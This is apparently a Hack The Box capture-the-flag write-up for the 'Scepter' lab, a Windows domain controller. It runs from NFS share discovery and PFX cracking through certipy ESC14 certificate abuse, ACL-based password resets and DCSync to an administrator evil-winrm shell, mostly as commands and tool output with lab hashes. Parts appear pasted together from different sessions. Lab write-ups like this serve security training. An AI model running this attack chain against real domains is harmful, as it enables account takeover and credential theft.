htb-scepter
Nmap Scan
I started by running an initial Nmap scan:
nmap -sV -sC -oN scepter.nmap 10.10.11.65
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-08 15:00 CEST
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 73.33% done; ETC: 15:01 (0:00:04 remaining)
Nmap scan report for 10.10.11.65
Host is up (0.012s latency).
Not shown: 985 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-08 21:01:00Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-08T21:01:51+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:51+00:00; +8h00m00s from scanner time.
3269/tcp open ssl/ldap
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-08T21:01:45
|_ start_date: N/A
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.79 seconds
The server appears to be a Windows Domain Controller based on services and naming.
Enum4linux
Next, I used enum4linux-ng
to enumerate more information:
enum4linux-ng -A 10.10.11.65
Key Findings:
- LDAP and SMB are accessible.
- SMB dialect supports SMB 2.0+ (SMB1 is disabled).
- Null sessions are allowed over SMB.
- Domain Name: SCEPTER
- Domain SID: S-1-5-21-74879546-916818434-740295365
- OS Version detected: Windows 10 / Server 2016/2019 (Build 17763)
Unfortunately, most user and group enumeration attempts returned STATUS_ACCESS_DENIED
.
NFS Enumeration
Port 2049/tcp (NFS) caught my attention. I checked the available mounts:
showmount -e 10.10.11.65
Results:
Export list for 10.10.11.65:
/helpdesk (everyone)
There’s a publicly accessible /helpdesk
share exposed via NFS.
This looks like a potential foothold!
NFS Mount & File Discovery
We identified an NFS share /helpdesk
earlier. Let’s mount it on our Kali machine:
mkdir /tmp/helpdesk-nfs
sudo mount -t nfs 10.10.11.65:/helpdesk /tmp/helpdesk-nfs
sudo ls -la /tmp/helpdesk-nfs
Contents of the mounted share:
total 33
drwx------ 2 nobody nogroup 64 Nov 1 22:02 .
drwxrwxrwt 20 root root 12288 Apr 21 06:51 ..
-rwx------ 1 nobody nogroup 2484 Nov 1 22:01 baker.crt
-rwx------ 1 nobody nogroup 2029 Nov 1 22:01 baker.key
-rwx------ 1 nobody nogroup 3315 Nov 1 22:01 clark.pfx
-rwx------ 1 nobody nogroup 3315 Nov 1 22:01 lewis.pfx
-rwx------ 1 nobody nogroup 3315 Nov 1 22:02 scott.pfx
We found several .pfx
and certificate/key files — time to crack them.
Cracking PFX Files
We attempt to crack the lewis.pfx
file using pfx2john
and john
:
pfx2john lewis.pfx | tee -a lewis-hash
john --wordlist=/usr/share/wordlists/rockyou.txt lewis-hash
newpassword (lewis.pfx)
However, when attempting to authenticate using Lewis’s credentials, we encountered a locked account error:
[*] Using principal: e.lewis@scepter.htb
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED
Crafting a New PFX for Baker
Given that Baker’s .crt
and .key
were available, I manually created a new .pfx
file:
openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt -passout pass:newpassword
Enter pass phrase for baker.key: newpassword
I then set wide-open permissions and used certipy
to authenticate:
chmod 777 baker.pfx
certipy auth -pfx baker.pfx -dc-ip 10.10.11.65
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
Success!
We obtained a TGT and NTLM hash for d.baker
:
**Note: If you encounter a clock skew error, fix your system time with:
sudo ntpdate 10.10.11.65
BloodHound Enumeration
Using bloodhound-python
, we dumped the domain information:
└─$ bloodhound-python -u 'd.baker' --hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -d scepter.htb -ns 10.10.11.65 --auth-method ntlm -c All --zip --disable-autogc INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: scepter.htb INFO: Connecting to LDAP server: dc01.scepter.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.scepter.htb INFO: Found 11 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 3 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc01.scepter.htb INFO: Done in 00M 03S INFO: Compressing output into 20250508232837_bloodhound.zip
BloodHound Community Edition (CE) Usage
Start BloodHound CE
sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up
Login with the Email Address: admin
http://localhost:8080/ui/login
We identified OutboundControl privileges on user a.carter
.
Resetting A.Carter’s Password
We leveraged changepasswd.py
to reset Carter’s password: or use powerview or BloodyAD
Powerview
┌──(puck㉿kali)-[~/htb/scepter] └─$ powerview scepter.htb/d.baker@DC01.scepter.htb -H :18b5fb0d99e7a475316213c15b6f22ce --dc-ip 10.10.11.65 --use-ldap -d /home/puck/.local/share/pipx/venvs/powerview/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. import pkg_resources Logging directory is set to /home/puck/.powerview/logs/scepter-d.baker-dc01.scepter.htb [2025-07-25 19:19:40] Proxy-compatible mode: Returning hostname 'DC01.scepter.htb' without resolution --snip-- [2025-07-25 19:19:40] [Get-DomainObject] LDAP search filter: (&(objectClass=*)(|(samAccountName=d.baker)(name=d.baker)(displayname=d.baker)(objectSid=d.baker)(distinguishedName=d.baker)(dnshostname=d.baker))) [2025-07-25 19:19:40] [CustomStandardExtendedOperations] Returning cached results for query ╭─LDAP─[dc01.scepter.htb]─[SCEPTER\d.baker]-[NS:<auto>] ╰─PV ❯ Set-DomainUserPassword -Identity a.carter -AccountPassword Summer2025 [2025-07-25 19:19:56] [Get-DomainUser] Using search base: DC=scepter,DC=htb [2025-07-25 19:19:56] [Get-DomainUser] LDAP search filter: (&(objectCategory=person)(objectClass=user)(|(sAMAccountName=a.carter)(distinguishedName=a.carter))) [2025-07-25 19:19:56] [CustomStandardExtendedOperations] Returning cached results for query [2025-07-25 19:19:56] [Set-DomainUserPassword] Principal CN=a.carter,CN=Users,DC=scepter,DC=htb found in domain [2025-07-25 19:19:56] [Set-DomainUserPassword] Using SAMR to change a.carter password [2025-07-25 19:19:59] [Set-DomainUserPassword] Password has been successfully changed for user a.carter [2025-07-25 19:19:59] Password changed for a.carter ╭─LDAP─[dc01.scepter.htb]─[SCEPTER\d.baker]-[NS:<auto>] ╰─PV ❯
BloodyAD
$ bloodyAD --host dc01.scepter.htb \ -d "scepter.htb" \ -u d.baker \ -p ':18b5fb0d99e7a475316213c15b6f22ce' \ set password "a.carter" 'Helloworld123!' [+] Password changed successfully!
changepasswd
─$ changepasswd.py 'scepter.htb'/'a.carter'@10.10.11.65 -reset -altuser 'd.baker' -althash :'18b5fb0d99e7a475316213c15b6f22ce' Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies New password: Retype new password: [*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker [*] Connecting to DCE/RPC as scepter.htb\d.baker [*] Password was changed successfully. [!] User no longer has valid AES keys for Kerberos, until they change their password again.
Verification using nxc
:
nxc smb 10.10.11.65 -u 'a.carter' -p 'Summer2025'
BloodHound Again – As A.Carter
Now using the newly reset a.carter
account:
bloodhound-python -c All -u a.carter -p 'Password' -d scepter.htb -ns 10.10.11.65 --zip
Exploiting GenericAll on OU
BloodHound showed Carter had GenericAll rights over the STAFF ACCESS CERTIFICATE OU.
Step 1: Confirm or set GenericAll: with bloodyAD
or impacket-dacledit
└─$ bloodyAD -d scepter.htb -u a.carter -p 'Summer2025' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter [+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
┌──(puck㉿kali)-[~/htb/scepter] └─$ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'a.carter' -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' 'scepter.htb'/'a.carter':'Welcome1' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU [*] DACL backed up to dacledit-20250726-001054.bak [*] DACL modified successfully!
Step 2: Modify the d.baker
‘s mail
attribute to impersonate another user:
└─$ bloodyAD -d scepter.htb -u a.carter -p 'Summer2025' --host dc01.scepter.htb --dc-ip 10.10.11.65 set object d.baker mail -v h.brown@scepter.htb [+] d.baker's mail has been updated
Requesting Certificate as H.Brown
We requested a certificate now tied to h.brown
:
└─$ certipy req -username "d.baker@scepter.htb" -hashes aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 3 [*] Got certificate without identification [*] Certificate has no object SID [*] Saved certificate and private key to 'd.baker.pfx'
Authentication as h.brown
:
└─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.10.11.65 -username h.brown Certipy v4.8.2 - by Oliver Lyak (ly4k) [!] Could not find identification in the provided certificate [*] Using principal: h.brown@scepter.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'h.brown.ccache' [*] Trying to retrieve NT hash for 'h.brown' [*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
Got TGT and NTLM hash for h.brown:
aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
.
Shell as p.adams
At first glance there are no outbound connections visible in BloodHound but the user h.brown
is part of two new groups, CMS
and HELPDESK ADMINS
. In order to check if any of those groups appear in ACLs I upload PowerView, calculate the SID for each group and then enumerate all ACL. This uncovers write privileges to the Alt-Security-Identities
attribute for user p.adams
, one of the attack scenarios for ESC14
.
┌──(puck㉿kali)-[~/htb/scepter] └─$ KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb Evil-WinRM shell v3.7 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\h.brown\Documents> cd c:\programdata *Evil-WinRM* PS C:\programdata> . .\PowerView.ps1 *Evil-WinRM* PS C:\programdata> $cms = ConvertTo-Sid "CMS" *Evil-WinRM* PS C:\programdata> $helpdesk = ConvertTo-Sid "HELPDESK ADMINS" *Evil-WinRM* PS C:\programdata> Get-DomainObjectACL -ResolveGUIDs -Identity * | ?{($_.SecurityIdentifier -eq $cms) -or ($_.SecurityIdentifier -eq $helpdesk)} AceQualifier : AccessAllowed ObjectDN : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb ActiveDirectoryRights : WriteProperty ObjectAceType : Alt-Security-Identities ObjectSID : S-1-5-21-74879546-916818434-740295365-1109 InheritanceFlags : ContainerInherit BinaryLength : 72 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-74879546-916818434-740295365-1601 AccessMask : 32 AuditFlags : None IsInherited : True AceFlags : ContainerInherit, Inherited InheritedObjectAceType : User OpaqueLength : 0 AceQualifier : AccessAllowed ObjectDN : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb ActiveDirectoryRights : ReadProperty ObjectAceType : All ObjectSID : S-1-5-21-74879546-916818434-740295365-1109 InheritanceFlags : ContainerInherit BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : InheritedObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-74879546-916818434-740295365-1601 AccessMask : 16 AuditFlags : None IsInherited : True AceFlags : ContainerInherit, Inherited InheritedObjectAceType : User OpaqueLength : 0 --snip--
This allows me to perform the same exploitation as before but this time with one extra step. I start by setting altSecurityIdentities
for account p.adams
to X509:<RFC822>p.adams@scepter.htb
.
┌──(puck㉿kali)-[~/htb/scepter] └─$ export KRB5CCNAME=h.brown.ccache ; bloodyAD -d scepter.htb -k --host dc01.scepter.htb set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb' [+] p.adams's altSecurityIdentities has been updated
Then I replace the mail attribute for d.baker
with p.adams@scepter.htb
.
┌──(puck㉿kali)-[~/htb/scepter] └─$ bloodyAD --host dc01.scepter.htb \ -d scepter.htb \ -u a.carter \ -p 'Summer2025' \ set object d.baker mail -v p.adams@scepter.htb [+] d.baker's mail has been updated
And finally I request another certificate for d.baker
and use it to authenticate as p.adams
. Once again I get the TGT and NTLM hash for the impersonated account.
So
Certificate
I’ll use certipy
(just like above without -vulnerable
) to find all certificates and look at HelpDesk Enrollment Certificate:
Similar to the StaffAccessCertificate
above, this one has interesting values for Certificate Name Flag
, in this case SubjectAltRequireDns
. Only Domain Admins, Enterprise Admins, and Domain Computers can enroll in this certificate.
ESC14 – Repeat
Strategy
I’ve identified p.adams as the target. If I can control a user who can modify the altSecurityIdentities
attribute of p.admins, then I can do the same attack again.
On originally solving, I manually guessed to look more closely at who could write p.adams. But a nice technique to use here would be to run bloodAD
to find what h.brown can write (as I learned doing Haze):
oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
...[snip]...
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE
dsacls
will also show the permissions for all users and groups over an object. There’s a ton of output, but I’ll snip to show the interesting parts:
*Evil-WinRM* PS C:\> dsacls "CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb"
Owner: SCEPTER\Domain Admins
Group: SCEPTER\Domain Admins
Access list:
Allow SCEPTER\Domain Admins FULL CONTROL
Allow BUILTIN\Account Operators FULL CONTROL
...[snip]...
Allow SCEPTER\CMS SPECIAL ACCESS <Inherited from parent>
READ PROPERTY
...[snip]...
Allow SCEPTER\CMS SPECIAL ACCESS for altSecurityIdentities <Inherited from parent>
WRITE PROPERTY
...[snip]...
The command completed successfully
The CMS group has “special access” over altSecurityIdentities
. If I can add h.brown’s email as an an alternative identify to p.adams, then I can get a ticket that will work as p.adams.
Exploit
p.adams does not have an altSecurityIdentities
set:
puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
But h.brown can set one:
┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated
.
puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb altSecu
Above I set it to p.adams@scepter.htb
, but it doesn’t even have to be a real email in the domain. I can also set it to 0xdf@scepter.htb
:
puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>0xdf@scepter.htb' [+] p.adams's altSecurityIdentities has been updated
Now this is basically the same attack as before. d.baker can enroll in the StaffAccessCertificate
. a.carter can modify d.baker. I’ll set d.baker’s email to match whatever I set as the altSecurityIdentities
for p.adams (if the cleanup script has run, I’ll need to do the prior steps to give a.carter access):
puck@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 set object d.baker mail -v 0xdf@scepter.htb [+] d.baker's mail has been updated
Now I can request a certificate as d.baker:
┌──(puck㉿kali)-[~/htb/scepter] └─$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 13 [*] Successfully requested certificate [*] Got certificate without identity [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'd.baker.pfx' File 'd.baker.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y [*] Wrote certificate and private key to 'd.baker.pfx'
That certificate can auth as p.adams:
┌──(puck㉿kali)-[~/htb/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username p.adams
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
File 'p.adams.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
Because the email on the certificate (0xdf@scepter.htb
) matches the altSecurityIdentities
attribute for p.adams, it works.
The hash and the TGT both work to auth as p.adams:
┌──(puck㉿kali)-[~/htb/scepter] └─$ KRB5CCNAME=p.adams.ccache netexec smb DC01.scepter.htb --use-kcache SMB DC01.scepter.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) SMB DC01.scepter.htb 445 DC01 [+] SCEPTER.HTB\p.adams from ccache └─$ netexec smb DC01.scepter.htb -u p.adams -H 1b925c524f447bb821a8789c4b118ce0 SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) SMB 10.10.11.65 445 DC01 [+] scepter.htb\p.adams:1b925c524f447bb821a8789c4b118ce0
.
Shell as Administrator
Enumeration
I already noted above that p.adams can DCSync as a member of Replication Operators:
secretsdump
dumps the hashes :
puck@hacky$ secretsdump.py scepter.htb/p.adams@DC01.scepter.htb -hashes :1b925c524f447bb821a8789c4b118ce0 -no-pass
Evil-WinRM
I’ll use the NTLM hash to get an Evil-WinRM session as administrator:
puck@hacky$ evil-winrm -i DC01.scepter.htb -u administrator -H a291ead3493f9773dc615e66c2ea21c4
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
And get root.txt
:
Cleanup Script runs every 15 min. anoying, but understanding needing for a CTF
*Evil-WinRM* PS C:\windows\system32\tasks> dir Directory: C:\windows\system32\tasks Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/15/2018 12:19 AM Microsoft -a---- 4/16/2025 11:11 AM 3404 CleaningUp -a---- 4/16/2025 11:10 AM 3656 CreateExplorerShellUnelevatedTask *Evil-WinRM* PS C:\windows\system32\tasks> cat CleaningUp <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Author>SCEPTER\Administrator</Author> <URI>\CleaningUp</URI> </RegistrationInfo> <Triggers> <TimeTrigger> <Repetition> <Interval>PT15M</Interval> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>2024-11-02T08:21:02Z</StartBoundary> <Enabled>true</Enabled> --snipp-- </Settings> <Actions Context="Author"> <Exec> <Command>powershell.exe</Command> <Arguments>-NoProfile -ExecutionPolicy Bypass -File C:\Users\Administrator\Links\cleaning_up.ps1</Arguments> </Exec> </Actions> </Task> *Evil-WinRM* PS C:\windows\system32\tasks> cat C:\Users\Administrator\Links\cleaning_up.ps1 # clear the altSecurityIdentities attribute for user p.adams && mail attribute of d.baker user : Set-ADUser -Identity d.baker -Clear mail Set-ADUser -Identity p.adams -Clear altSecurityIdentities # reset password : Set-ADAccountPassword -Identity "a.carter" -NewPassword (ConvertTo-SecureString "Car@3024!" -AsPlainText -Force) -Reset Set-ADAccountPassword -Identity "d.baker" -NewPassword (ConvertTo-SecureString "bak@3025!" -AsPlainText -Force) -Reset # Computers cleanup : Get-ADComputer -Filter * -SearchBase "CN=Computers,DC=scepter,DC=htb" | ForEach-Object { Remove-ADComputer -Identity $_.DistinguishedName -Confirm:$false } # Acls cleanup dsacls.exe "OU=Staff Access Certificate,DC=scepter,DC=htb" /resetDefaultDACL dsacls.exe "OU=Staff Access Certificate,DC=scepter,DC=htb" /G "SCEPTER\IT Support:GA" *Evil-WinRM* PS C:\windows\system32\tasks>
.
┌──(puck㉿kali)-[~/htb/scepter]
└─$ xfreerdp3 /v:10.10.11.65 /u:puck /p:’Start123!’ /dynamic-resolution
.
References:
Evil-WinRM uses the Windows Management Instrumentation (WMI) to give you an interactive shell on the Windows host. Winrm Supports PKINIT, meaning if you have a computers PFX file, you can authenticate and get a shell. Note that the command requires a public and a private key in PEM format, that can be extracted by converting the PFX to PEM format. Take a look at the references for more info on that. Password protected PFX files can be cracked with JohnTheRipper.
Command Reference:
Target IP: 10.10.10.1
PFX File: cert.pfx
Domain: EVILCORP
Command:evil-winrm -i 10.10.10.1 -c pub.pem -k priv.pem -S -r EVILCORP
https://github.com/Hackplayers/evil-winrm
https://book.hacktricks.wiki/en/crypto-and-stego/certificates.html#converting-formats